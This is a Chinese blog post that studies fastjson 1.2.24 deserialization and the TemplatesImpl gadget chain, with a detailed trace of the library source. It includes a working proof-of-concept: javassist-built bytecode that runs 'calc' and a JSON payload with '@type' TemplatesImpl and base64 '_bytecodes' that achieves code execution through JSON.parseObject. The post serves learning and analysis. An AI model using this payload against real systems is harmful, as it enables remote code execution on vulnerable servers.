java安全-fastjson及其TemplatesImpl链学习与分析
2023-01-04 16:15:00

0x00、前言

本文学习fastjson以及在1.2.24版本下的TemplatesImpl链利用,学习下分析思路,尽量理解漏洞在源码上的触发过程。

0x01、fastjson描述

fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
官方地址:https://github.com/alibaba/fastjson
官方中文地址:https://github.com/alibaba/fastjson/wiki/Quick-Start-CN

优点:

  • 性能速度快
  • 使用广泛
  • 测试完备(虽然现在各版本爆出来的问题有点多)
  • 使用简单
  • 功能完备

格式跟jackson很像,区别jackson数据要求比较严格,其中提交的数据只能为对应Javabean的key,不能添加多余不在javabean的key进行提交,因此会报错,而fastjson不会

新建maven项目,然后环境添加:
直接添加对应版本到maven依赖即可

<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
</dependencies>

0x02、fastjson简单使用

主要学习序列化和反序列化接口
简单使用:
创建基础实例类People类

public class People {
private String name;
public People(){
System.out.println("调用People类构造方法");
}
public void setName(String name){
System.out.println("调用了setName方法");
this.name=name;
}
public String getName(){
System.out.println("调用了getName方法");
return name;
}

序列化-toJSONString()

还有一些其它的序列化方法

// 将Java对象序列化为JSON字符串,支持各种各种Java基本类型和JavaBean
public static String toJSONString(Object object, SerializerFeature... features);

// 将Java对象序列化为JSON字符串,返回JSON字符串的utf-8 bytes
public static byte[] toJSONBytes(Object object, SerializerFeature... features);

// 将Java对象序列化为JSON字符串,写入到Writer中
public static void writeJSONString(Writer writer,
Object object,
SerializerFeature... features);

// 将Java对象序列化为JSON字符串,按UTF-8编码写入到OutputStream中
public static final int writeJSONString(OutputStream os,
Object object,
SerializerFeature... features);

序列化toJSONString()的使用:
JSON.toJSONString(Class class)
JSON.toJSONString(Class class,SerializerFeature ...)可以使用SerializerFeature.WriteClassName参数将类名加到序列化json字段的@type中

public static void main(String[] args) throws Exception{
People people=new People();
people.setName("张三");
Object fj=JSON.toJSONString(people);
System.out.println(fj);
Object fj2=JSON.toJSONString(people, SerializerFeature.WriteClassName);
System.out.println(fj2);
}

反序列化-parseObject()、parse()、parseArray()

还有一些其他不同参数的使用方法

// 将JSON字符串反序列化为JavaBean
public static <T> T parseObject(String jsonStr,
Class<T> clazz,
Feature... features);

// 将JSON字符串反序列化为JavaBean
public static <T> T parseObject(byte[] jsonBytes, // UTF-8格式的JSON字符串
Class<T> clazz,
Feature... features);

// 将JSON字符串反序列化为泛型类型的JavaBean
public static <T> T parseObject(String text,
TypeReference<T> type,
Feature... features);

// 将JSON字符串反序列为JSONObject
public static JSONObject parseObject(String text);

反序列化parseObject()、parse()用法
JSON.parseObject()

public static void main(String[] args) throws Exception{
People people=new People();
//第一种方式
String parse="{\"name\":\"李四\"}";
Object parfj=JSON.parseObject(parse,People.class);
System.out.println(parfj);
//第二种方式效果同上
String parse2="{\"@type\":\"com.test.fastjson.People\",\"name\":\"李四\"}";
Object parfj2=JSON.parseObject(parse2);
System.out.println(parfj2);
//第三种方式
String parse2="{\"@type\":\"com.test.fastjson.People\",\"name\":\"李四\"}";
Object parfj2=JSON.parse(parse2);
System.out.println(parfj2);
}

  • parseObject()方法,需要设置第二个参数(Class class)将序列化数据读取应用到对应类里,否则会返回JSON对象
  • parse()方法是直接将序列化数据应用到@type声明的类中,如果不声明@type变量,则会返回JSON对象。
  • parseArray()方法就是源数据是集合的形式(即[]中的内容)

另外一些使用方法直接参考中文手册即可
https://www.w3cschool.cn/fastjson/

getter/setter自动调用

在使用fastjson中,发现

  • JSON.parseObject(parse2)方法会自动调用目标类的构造方法、get方法和set方法。
  • JSON.parseObject(parse2,People.class)JSON.parse(parse2)方法只会调用目标类的构造方法和set方法

get方法调用

parseObject(parse2)方法中会通过反射读取目标元素的getter获取值并存储在hashmap中




set方法、构造方法调用

但在setter调用的调试中,只追到下图的包,通过deserialze()方法反射获取成员值,循环读取但是无法抓到每个获取方法的过程

getter/setter获取

上面提到在调用对应get或者set方法时,通过getter/setter获取对应方法,然后直接调用在getter/setter获取对应的成员值反序列化中的获取getter/setter前的调用栈大体如下,没找到前面调用过程的文章,瞎跟了好一会,比较容易跟丢,后面按我理解跟出来的调用情况,用图展示的话拉的比较长,就用调用链形式展示,以反序列化调试展示

JSON.parseObject(String text)
->parse(text)
->parse(text, DEFAULT_PARSER_FEATURE)
->DefaultJSONParser.parse()
->parse(Object fieldName)
->parseObject(object, fieldName)
->TypeUtils.loadClass(typeName, config.getDefaultClassLoader()) //通过type值反射获取类
->ParserConfig.getDeserializer(Clazz)
->getDeserializer(Class<?> clazz, Type type)
->createJavaBeanDeserializer(clazz, type)
->JavaBeanInfo.build(clazz, type, propertyNamingStrategy)

进入JavaBeanInfo.build()方法查看getter/setter的设置情况
首先通过反射获取Clazz类的属性、方法、构造方法

获取后,先是判断构造器是否为空,如果为空,则判断该类是否是接口或者抽象类,如果是的话,然后创建JSNOcreator注解,(底层源码没注解看着还是费劲好些流程不是特别明白)

setter构建

经过前面的一些判断,再到下面的setter构建,循环获取反射里的方法名

会经过几个条件判断:
条件判断,方法名长度不能小于4

if (methodName.length() < 4) {
continue;
}

条件判断,方法不能是静态方法

if (Modifier.isStatic(method.getModifiers())) {
continue;
}

条件判断,方法的返回类型必须是void类型或者返回方法本身。主要是作用筛选是不是set方法,get方法会返回字符串就符合下面的判断

if (!(method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) {
continue;
}

条件判断,方法的参数个数必须为1个

Class<?>[] types = method.getParameterTypes();
if (types.length != 1) {
continue;
}

条件判断,方法名开头必须是set开头

if (!methodName.startsWith("set")) { // TODO "set"的判断放在 JSONField 注解后面,意思是允许非 setter 方法标记 JSONField 注解?
continue;
}

条件判断,判断TypeUtils.compatibleWithJavaBean是否开起,compatibleWithJavaBean为false表示首字母小写


if (TypeUtils.compatibleWithJavaBean) {
propertyName = TypeUtils.decapitalize(methodName.substring(3));
} else {
propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);
}

条件判断,判断set后面的字母

//判断第四个字符是否是以“_”或者“f”
} else if (c3 == '_') {
propertyName = methodName.substring(4);
} else if (c3 == 'f') {
propertyName = methodName.substring(3);
//如果不是以上情况,就判断方法名长度是否大于5并且方法名的第五个字符是否是大写
} else if (methodName.length() >= 5 && Character.isUpperCase(methodName.charAt(4))) {
propertyName = TypeUtils.decapitalize(methodName.substring(3));
} else {
continue;
}

通过上面的筛选获取截选后的字段的属性值,如果属性值不存在或者类型为boolean类型,就对其变量名前面加上is拼接,再查询拼接后的字段的属性值

Field field = TypeUtils.getField(clazz, propertyName, declaredFields);
if (field == null && types[0] == boolean.class) {
String isFieldName = "is" + Character.toUpperCase(propertyName.charAt(0)) + propertyName.substring(1);
field = TypeUtils.getField(clazz, isFieldName, declaredFields);
}

最后将符合条件的添加入fieildList中

add(fieldList, new FieldInfo(propertyName, method, field, clazz, type, ordinal, serialzeFeatures, parserFeatures,
annotation, fieldAnnotation, null));

总结必须满足的条件就是:

  • 方法名长度不能小于4
  • 方法不能是静态方法
  • 方法的返回类型必须是void类型或者返回方法本身
  • 方法的参数个数必须为1个
  • 方法名开头必须是set开头

getter构建

流程差不多
条件判断,方法名长度不能小于4

if (methodName.length() < 4) {
continue;
}

条件判断,方法不能是静态方法

if (Modifier.isStatic(method.getModifiers())) {
continue;
}

条件判断,方法名必须以”get”开头,并且方法名的第四个字母必须是大写

if (methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3))) {
if (method.getParameterTypes().length != 0) {
continue;
}

条件判断,方法的返回类型必须继承(Collection、Map、AtomicBoolean、AtomicLong)四个类的其中一种

if (Collection.class.isAssignableFrom(method.getReturnType()) //
|| Map.class.isAssignableFrom(method.getReturnType()) //
|| AtomicBoolean.class == method.getReturnType() //
|| AtomicInteger.class == method.getReturnType() //
|| AtomicLong.class == method.getReturnType() //
) {

然后把满足条件的放进fieldinfo中

add(fieldList, new FieldInfo(propertyName, method, null, clazz, type, 0, 0, 0, annotation, null, null));

接着获取方法的是否存在JSONField的注解方法,类似下图,判断该类是否存在JSONField的注解方法,并且是否可以反序列化,反序列化设置默认为true

JSONField annotation = method.getAnnotation(JSONField.class);
if (annotation != null && annotation.deserialize()) {
continue;
}

if (annotation != null && annotation.name().length() > 0) {
propertyName = annotation.name();
} else {
propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);
}

然后获取字段信息,查看该注释方法名在fieildList中否存在

FieldInfo fieldInfo = getField(fieldList, propertyName);
if (fieldInfo != null) {
continue;
}

if (propertyNamingStrategy != null) {
propertyName = propertyNamingStrategy.translate(propertyName);
}

满足上面条件就将信息存进fieildList中

add(fieldList, new FieldInfo(propertyName, method, null, clazz, type, 0, 0, 0, annotation, null, null));

总结必须满足的条件就是:

  • 方法名长度不能小于4
  • 方法不能是静态方法
  • 方法名开头必须是get开头
  • 方法的返回类型必须继承(Collection、Map、AtomicBoolean、AtomicLong)四个类的其中一种

最后通过返回javaBeanInfo将上面的fieldinfo一起放进beaninfo中

return new JavaBeanInfo(clazz, builderClass, defaultConstructor, null, null, buildMethod, jsonType, fieldList);

0x03、TemplatesImpl知识回顾

TemplatesImpl在cc2链学习中涉及到,这里直接引用cc2分析的部分吧

ClassLoader#defineClass

ClassLoader为类加载器,可以将字节码文件(.class文件),通过loadClass函数加载类名,返回一个Class对象,同时ClassLoader类下面存在defineClass方法,可以将byte[]字节数组信息还原成一个Class对象,在学javassist中,了解到javassist可以动态生成字节码文件,包括了一些恶意代码文件,可进而通过ClassLoader类加载器将这些恶意的字节码文件转化为java类进行调用,达到执行恶意代码的目的

其中类加载阶段:

ClassLoader#loadClass(类加载,从类缓或父加载器等位置寻找类)
——> ClassLoader#findClass(寻找类,通过URL制定的方式加载字节码)
——> ClassLoader#defineClass(定义类,通过获取的字节码转换成类对象)

由于ClassLoader#defineClass方法为protect修饰,因此可通过反射进行调用

简单实现

public static void main(String[] args) throws Exception {

ClassPool pool2=ClassPool.getDefault();

//创建新类Exp2
CtClass ct=pool2.makeClass("People2");

//创建构造函数
CtConstructor cons=ct.makeClassInitializer();
//向构造函数插入字节码
cons.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
//ct.writeFile("./");

//生成字节码
byte[] bt=ct.toBytecode();

//通过反射调用ClassLoader#defineClass
Method define=ClassLoader.class.getDeclaredMethod("defineClass", String.class ,byte[].class, int.class, int.class);
define.setAccessible(true);
Class cla=(Class)define.invoke(ClassLoader.getSystemClassLoader(),"People2",bt,0,bt.length);
cla.newInstance();
}

TemplatesImpl

TemplatesImpl这个类简述功能就是对xsl格式文件生成的字节码转换成XSLTC模板对象,期间会处理字节码,因此重写了defineClass方法,具体描述可查看TemplatesImpl了解

重写了defineClass方法,并且没有定义域,可以在其他类进行调用使用,而ClassLoader#defineClass定义域是受保护的,在很多情况中调用受限,因此这也是TransletClassLoader#defineClass作为很多序列化漏洞入口,而不是使用ClassLoader#defineClass

但该defineClass()的调用并不会实例化,需要通过newInstance()进行实例化。

依次看调用情况

defineTransletClasses()

defineClassdefineTransletClasses方法中被调用

其中需要的满足条件:

  1. _bytecodes不能为空,为空会直接抛出异常

    if (_bytecodes == null) {
    ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
    throw new TransformerConfigurationException(err.toString());
    }
  2. _tfactory需要实例化
    创建的TransletClassLoader(Translet类的加载器)对象,其中_tfactory.getExternalExtensionsMap()中的_tfactory对象为TransformerFactoryImpl类对象,等同于调用TransformerFactoryImpl.getExternalExtensionsMap()方法,但其中_tfactory对象初始赋值为null,直接执行会报错,因此需要将_tfactory进行实例化,才能调用TransformerFactoryImpl.getExternalExtensionsMap()方法。

    TransletClassLoader loader = (TransletClassLoader)
    AccessController.doPrivileged(new PrivilegedAction() {
    public Object run() {
    return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
    }
    });

    两种实现方法都可以实例化,第一种通过TransformerFactoryImpl()构造方法实现实例化对象,第二种通过反射直接实现实例化对象。

    setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
    setFieldValue(templates, "_tfactory", TransformerFactoryImpl.class.newInstance());
  3. 父类需要为ABSTRACT_TRANSLET
    通过for循环对字节文件类进行循环定义并赋值给class数组,其中会判断当前获取的字节类的父类是否为ABSTRACT_TRANSLET类,是的话会讲该类序号赋值给_transletIndex,否则不是的话会抛出异常(表意为只有存在父类为ABSTRACT_TRANSLET类的translet类才能被实例化),从而在getTransletInstance类中的AbstractTranslet实例化步骤将父类为ABSTRACT_TRANSLET的类进行实例化

    for (int i = 0; i < classCount; i++) {
    _class[i] = loader.defineClass(_bytecodes[i]);
    final Class superClass = _class[i].getSuperclass();

    // Check if this is the main class
    if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
    _transletIndex = i;
    }
  4. _bytecodes字节码需要设置为byte[][]数组,_bytecodes变量声明为byte[][]类型,如果直接通过javassist toBytecode()生成byte[]数组运行会报错。


    因此需要将一维数组转化为二维数组。

    byte[] bytecode=ct.toBytecode();
    byte[][] bytecodes=new byte[][]{bytecode};

接着查看defineTransletClasses方法的上层调用情况
其中有三处对该方法进行了调用,其中只用getTransletInstance方法有上层调用,其他两个方法没有被其他方法进行调用。

getTransletInstance()

其中需要的满足条件:

  1. _name不能为空,为空会直接返回null

    if (_name == null) return null;
  2. _class必须为空,才能调用defineTransletClasses方法

    if (_class == null) defineTransletClasses();

最后通过创建AbstractTranslet对象将class文件类进行实例化

AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

接着查看getTransletInstance方法的上层调用情况

newTransformer()方法进行了调用

newTransformer()

在调用构造函数的时候调用了getTransletInstance方法,返回Translet类的实例,其中没有需要的满足条件。

接着查看newTransformer()方法的上层调用情况

其中有5处显示进行了调用,但只有getOutputProperties方法调用的本类的newTransformer()方法,其他四种都是调用的其他类重写的newTransformer()方法。

getOutputProperties()

该方法直接执行了newTransforme方法,没有其他条件限制,查询getOutputProperties的上层调用,没有在本类发现其调用,因此最后的执行方法就在getOutputProperties

完整链

newTransformer方法执行就能达到触发了,他上层getOutputProperties方法也进行了调用,也可以算进去当作延伸出来的链。

getOutputProperties()
newTransformer()
getTransletInstance()
defineTransletClasses()
defineClass()

实现demo

public static void main(String[] args) throws Exception {
//创建CtClass对象容器
ClassPool pool2=ClassPool.getDefault();
//pool2.insertClassPath(new ClassClassPath(AbstractTranslet.class));
//创建新类Exp2
CtClass ct=pool2.makeClass("People2");
//设置People2类的父类为AbstractTranslet,满足实例化条件
ct.setSuperclass(pool2.get(AbstractTranslet.class.getName()));
//创建构造函数
CtConstructor cons=ct.makeClassInitializer();
//向构造函数插入字节码
cons.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
//javassist转换字节码并转化为二位数组
byte[] bytecode=ct.toBytecode();
byte[][] bytecodes=new byte[][]{bytecode};
//实例化TemplatesImpl对象
TemplatesImpl templates=TemplatesImpl.class.newInstance();
//设置满足条件属性_bytecodes为恶意构造字节码
setFieldValue(templates,"_bytecodes",bytecodes);
//设置满足条件属性_class为空
setFieldValue(templates,"_class",null);
//设置满足条件属性_name不为空,任意赋值都行
setFieldValue(templates,"_name","test");
//设置满足条件属性_tfactory实例化,效果等同于new TransformerFactoryImpl()
setFieldValue(templates, "_tfactory", TransformerFactoryImpl.class.newInstance());
//执行newTransformer()方法
templates.newTransformer();
//执行getOutputProperties(),getOutputProperties为newTransformer上层调用,执行效果相同,就是多了个执行步骤
templates.getOutputProperties();
}
//通过反射给对象属性赋值,避免代码冗余繁琐
private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

0x04、fastjson-TemplatesImpl利用分析

只有正向分析了解执行过程了,逆向分析思路实在难理

POC

参考网上的POC:

package com.test.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;

import java.util.Base64;

public class Payload {
public static String generateEvil() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clas = pool.makeClass("Evil");
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
String cmd = "Runtime.getRuntime().exec(\"calc\");";
clas.makeClassInitializer().insertBefore(cmd);
clas.setSuperclass(pool.getCtClass(AbstractTranslet.class.getName()));

//clas.writeFile("./");

byte[] bytes = clas.toBytecode();
String EvilCode = Base64.getEncoder().encodeToString(bytes);
//System.out.println(EvilCode);
return EvilCode;
}
public static void main(String[] args) throws Exception {
final String GADGAT_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String evil = Payload.generateEvil();
String PoC = "{\"@type\":\"" + GADGAT_CLASS + "\",\"_bytecodes\":[\"" + evil + "\"],'_name':'a.b','_tfactory':{},\"_outputProperties\":{ },"+"}\n";
JSON.parseObject(PoC,Object.class, Feature.SupportNonPublicField);
}
}

前半段就是javassist字节码生成恶意代码,在上面ClassLoaderTemplatesImpl分析的时候提过了,区别就是生成的恶意字节码经过Base64编码过一次,为什么会经过Base64编码,分析过程去了解。

下半段主程序就是fastjson反序列化TemplatesImpl类,加载恶意字节码,同时添加TemplatesImpl执行需要满足的几个条件属性,最后添加_outputProperties字段目的经过转换调用getoutputProperties()方法执行恶意代码,后面又加了一个_name参数和allowedProtocols参数。

最后在parseObject反序列化的时候添加了Feature.SupportNonPublicField参数,突破访问私有属性限制,因为TemplatesImpl类大部分属性都是private保护属性,fastjson默认无法序列化保护属性的变量。

分析过程

调试首先进入对应参数类型的parseObject方法

判断input输入是否为空,然后创建默认JSONparser解析器

跟进DefaultJSONParser方法,先通过分词器(laxer,用于对input值进行符号分割,获取对应的截选字段)获取开头字符是否是”{“

是的话,就设置tokenJSONtoken.LBRACE,值为12

然后对解析器parser进行parseObject序列化操作,Type对象为输入的Object.class对象

跟进parseObject方法,判断token所属类型,然后获取反序列化解析器


跟进getDeserializer方法,根据Type(即输入的Object.class对象)获取对应的反序列化器,获取的反序列化器为JavaObjectDeserializer


获取反序列化器后,判断对象类型后,对反序列化器进行反序列化操作。

跟进parse方法

通过Token判断后进入判断体分支,创建新的json对象,然后对该json对象和fieldName字段(当前类对象为Object,没有解析字段,所以值为null)进行反序列化解析

再次跟进parseObject方法

前面的一大段操作都是通过分词器laxer获取的字符进行判断是否合法

一直到key值的判断,key为获取的@type,typeName为@type的值即输入的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

通过加载类获取一个TemplatesImpl类对象clazz

获取TemplatesImpl类对象后,再次寻找对应的反序列化器

由于TemplatesImpl类并不在derializers的列表中,因此derializernullderializer列表大部分为hashmap

type(TemplatesImpl)属于Class,因此进入另一个获取反序列化器的方法getDeserializer((Class<?>) type, type),继续跟进getDeserializer方法
前半段依旧是获取type的反序列化器,同样derializer还是为null

不同上一个获取反序列化器的方法,接下来获取clazz的类名即(com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl),然后判断该类名是否是黑名单(java.lang.Thread)中的内容

后面就是对className进行分类判断,最后没有找到对应类的反序列化器,最后通过createJavaBeanDeserializer方法对当前clazz创建一个反序列化器

跟进createJavaBeanDeserializer方法,其中asmEnable默认开启,然后判断clazz类是否支持字节码操作,然后进行JavaBeanInfo创建

setter/getter分析中提到的build方法主要是通过反射遍历获取类中的方法名和数据保存在Fieldlist中然后放入beaninfo数组中。

beaninfo创建后,后面的代码部分就是针对Beaninfo的字段属性进行循环遍历检查合法性,属性查询完后,创建JavaBeanDeserializer反序列化器


JavaBeanDeserializer方法中先是声明beanInfo.sortedFieldsFieldDeserializer反序列化器,然后循环读取sortedFields排序后的属性给fieldInfo变量,然后创建新的字段反序列化器createFieldDeserializer,最后新反序列化器放入sortedFieldDeserializers数组中

后半段是循环获取beanInfo.fields的属性,然后通过getFieldDeserializer方法在sortedFieldDeserializers数组中查找是否匹配,匹配的话就放入到fieldDeserializers数组当中。

到此,JavaBeanDeserializer反序列化器创建成功,并放入到反序列化器当中,最后返回反序列化器derializer

获取到反序列化器后,正式对该反序列化器进行反序列化操作

反序列化的前半部分都是对类的一些属性信息进行判断(token的判断,laxer分词器的创建等)

通过循环读取sortedFieldDeserializers数组获取反序列化器中的属性数据,获取过后再循环判断获取的类的分类所属,在进行对应类属性赋值

经过上面的对sortedFieldDeserializers获取的当前属性信息的操作后,创建对解析器对象进行实例化


实例化对象后,开始解析该对象在解析器中的字段属性

字段反序列化器会模糊匹配key,跟进smartMatch方法

先判断Key是否存在,存在然后通过getFieldDeserializer方法查找key的反序列化器,如果找不到该key的反序列化器,然后判断key是否以is为开头,随后循环获取sortedFieldDeserializers数组内容获取其中的fieldInfo、fieldClass、fieldName等属性

因为在getFieldDeserializer中匹配Key是否在sortedFieldDeserializers数组中,由于数组中的值没有”_”开头,因此找不到key的反序列化器

条件都不满足,找不到FieldDeserializer属性反序列化器,然后就对属性进行字符替换操作,此时的Key"_outputProperties"被替换成"outputProperties"


然后再次调用getFieldDeserializer方法,查询是否存在key2的反序列化器,此时sortedFieldDeserializers数组中存在outputProperties字段,因此能够找到反序列化器


返回属性反序列化器,此时获取到getoutputProperties方法(build中提到的getter/setter建立会存储get和set方法,反序列化器查询匹配到字段后会返回该方法的反序列化器)

找到属性反序列化器后,对该属性进行反序列化解析

解析过程中通过getFieldValueDeserilizer方法获取属性值的反序列化器,并对属性值反序列化器进行反序列化解析获取值

然后将获取的值通过setValue方法赋值给字段属性

跟进setValue方法,通过反射获取字段属性的方法

最后通过反射执行Object对象的Method方法,即执行TemplatesImpl.getoutputProperties(),触发漏洞


流程总结

根据上面的分析过程,稍微理一下fastjson的执行流程

JSON对象解析
->创建默认JSON解析器parser(方法:DefaultJSONParser)
->对解析器pareser进行解析序列化解析(方法:parseObject)
->根据token获取对应反序列化器deserializer(方法:getDeserializer)
->对反序列化器deserializer进行反序列化解析(方法:deserialize)
->对对象和方法名进行解析(方法:pareseObject)
->获取key值(@type),类加载key对象Class
->搜寻类对象的反序列化器
->搜寻不到,再创建反序列化器(方法:createJavaBeanDeserializer)
->过程中,build javabeaninfo信息,存储setter/getter信息放入Fieldlist中
->过程中,对Fieldlist字段进行创建字段反序列化器createFieldDeserializer
->最后反序列化器JavaBeanDeserializer创建成功
->正式对反序列化器进行反序列化操作(方法:deserialize)
->通过sortedFieldDeserializers获取字段数据,然后实例化对象
->解析对象字段属性进行模糊匹配查找属性前缀get/set是否存在,"_"符号进行删除等操作
->对方法查找方法的反序列化器(方法:getFieldDeserializer)
->通过方法反序列化器对方法属性进行解析(获取到类方法名),通过setValue方法给字段赋值
->通过反射调用执行方法

base64编码问题

在解析字段属性中,解析到"_bytecodes"

然后获取对应反序列化器,对反序列化器进行再次解析

再次跟进,此时属性反序列化器为ObjectArrayCodec,调用ObjectArrayCodec的反序列化方法deserialze

过程中会对参数内容集合进行解析

进入对集合进行解析,此时laxer经过nexttoken()方法后重新赋值,再次对value进行反序列化解析

跟进反序列化方法,此时laxer匹配JSONToken.LITERAL_STRING,调用bytesValue()方法

跟进bytesValue()方法,在这里对txt也就是Input的内容进行base64解码,所以_bytecodes需要经过base64编码

0x05、总结

跟完TemplatesImpl链,头都大了,总的来说就是通过创建序列化器去存储序列化对象的相关信息,再通过反序列化器解析反序列化类对象、类字段、方法等信息,最后再解析反序列化器。跟一遍下来的感觉就是不停的创建反序列化器,再解析反序列化器的内容,结合getter触发代码执行,虽然绕了很多,但在这里面也学到了很多,理解的过程也不完全,很多细节上的代码段也没理解透意思,就在大体框架走了一遍,可能还存在一些理解错误的地方,后面遇到了再改吧。

0x06、参考链接

https://github.com/alibaba/fastjson/wiki/Quick-Start-CN
https://www.w3cschool.cn/fastjson/
https://www.yuque.com/tianxiadamutou/zcfd4v/rwx6sb
https://y4er.com/posts/fastjson-learn/